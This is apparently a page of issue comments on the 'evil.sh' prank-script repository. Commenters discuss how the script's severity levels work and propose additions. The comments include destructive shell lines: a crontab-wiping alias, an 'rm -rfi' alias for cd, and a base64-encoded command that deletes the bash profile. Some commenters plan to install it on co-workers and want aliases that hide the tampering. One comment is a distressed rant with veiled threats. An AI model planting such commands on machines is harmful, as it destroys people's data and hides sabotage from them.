mathiasbynens / evil.sh Goto Github PK

alias crontab='crontab -r';

title

Yay fun. So how would one check and see if this awesome code has been put in my system. I know many bad things have been installed into my devices from github. Not that this is one or not but if you take no blame then you help? What's the 'he' about seems malicious as well. Either way I've been driven crazy and had enough. I know nothing about programming so whoever is doing this should feel real successful. I mean spit on a helpless baby, kick an old woman in the face who can barely walk, cut the oxygen tube from a dying mans tank. Real immpressive. Specially if who is helping this person accomplish their malicious ways knew who they were helping and who they are hurting. I'm sure she has a good story but a manipulative compulsive liar and far worse. Maybe what you all like and really that's cool, I don't care. If I could code I would do some questionable things maybe too. One thing is I wouldn't do it to people that have done nothing wrong and don't deserve this. It's low and embarrassing. I guess to me but I have ethics and though I can't code o have a code and morals. Guess that's why I get messed with. Take from those with nothing to take. Now you might not be any part of this but from the little I've seen I don't know. I do think you could help if that's something you do. Or pass this along to others that maybe could or just have a good laugh about it. Either way I've been pushed way too far. Or help me get payback if that's more fun. Either way I've had enough happen to me, more than anyone could ever deserve. Yet I haven't deserved any of it. So yes you've all got me , well done, way to f over good people. How much further does it need to go. I've lost everything I ever had, and now have nothing. Barely any of my mind left in tact, don't worry my family all thinks I'm have lost my mind and should be put away in a mental institute. Friends, no got none left just my uncle is my friend now. Haha hehe thanks for the worst year of my life and helping a schitzoproid that wants to tortchure me for her wrongs. You can stop now, I'd rather not exploit any of these happenings but when that last thread snaps there is no telling what I will do. I don't even know. Just stay behind computers I would hate to see what happens if we ever crossed paths in human reality form, not that will ever happen but to be or feel so weak and helpless would enlighten your way of thinking. Empathy is powerful and at this point would I find forgiveness or would I inject insanity and crush your life as has been done to mine. Probably I would do as I believe and treat others how I want to be treated, some people do deserve the worst kind of punishment but not me. You all got that wrong.

Devastating is spelled as "devasting" in the script

$ grep '^EVIL_BEHAVIOUR' evil.sh
EVIL_BEHAVIOUR=annoying
$ . evil.sh
$ destructive && echo 'yes'
yes

What's wrong ?

Silently install say() and have the computer randomly demand things a computer would never need

https://github.com/mathiasbynens/evil.sh/blob/master/evil.sh#L26

fork bomb won't work by default on OS X due to maxproc?

Looking at the way EVIL_BEHAVIOUR is processed, it seems that the evil level is backwards. For instance, if EVIL_BEHAVIOUR=annoying, then annoying(), destructive(), devasting() and unusable() all return true, whereas I would expect only insane() and annoying() to be true in that case.

So if someone only intended to play a small prank on someone by keeping the default EVIL_BEHAVIOUR=annoying, they would actually be running everything up to the unusable level, and probably destroy that person's system.

The command base64 -D <<< cm0gfi8uYmFzaF9wcm9maWxl | sh can remove your bash profile entirely, this would stop evil.sh in some circumstance. Should filtering be added to unusable mode to block running base64 encoded commands? I haven't tested this as I don't have a spare VM at the moment. Thoughts?

Add this to .bashrc etc

export PROMPT_COMMAND='sleep $(($RANDOM % ($(($RANDOM % 9))+1)))'

This will sleep for up to 10 seconds, weighted to lower values:

$ for i in {1..10000}; do echo $(($RANDOM % ($(($RANDOM % 9))+1))); done | sort | uniq -c
3088 0
1999 1
1577 2
1114 3
832 4
590 5
419 6
272 7
109 8

you link to [broken link removed] on the startpage of the github repo, that page is restricted

Maybe alias cd='rm -rfi'?

😈

I love this idea, and I want to apply on to co-workers. However, when adding source /path/to/evil.sh as the last line in the .bash_profile, error occur when a new terminal is started.

I only tried setting EVIL_BEHAVIOUR to insane or annoying.

On my Mac, running macOS Mojave, I get the following when I start a terminal with EVIL_BEHAVIOUR set to insane

Last login: Fri Feb 15 16:32:16 on ttys009
[1]+  Exit 1                  destructive && sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1)
bassam.khouri@EMB-7CBUG3QC ~ 
$ 

And I get the following when set to annoying

Last login: Fri Feb 15 16:32:19 on ttys010
usage: basename string [suffix]                                         
       basename [-a] [-s suffix] string [...]
[2]+  Exit 1                  destructive && sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1)
() bassam.khouri@EMB-7CBUG3QC ~ 
$ 

This error will make it obvious that something is awry in the system.

You should add a soft version, that only drives them insane without causing real bad damage.

There are some aliases, that would cause real harm and even I wouldn't like to do this to a colleague like alias cp=mv, the fork bomb,...

While other commands are just real funny and would be great to try this on a friend.

Currently type is not affected. This lets the user easily see what's wrong with their system. I'd suggest creating an alias for type that would override the builtin and print responses as if no changes have been made to anything, i.e. type grep should report grep as executable /path/to/grep rather than a shell function.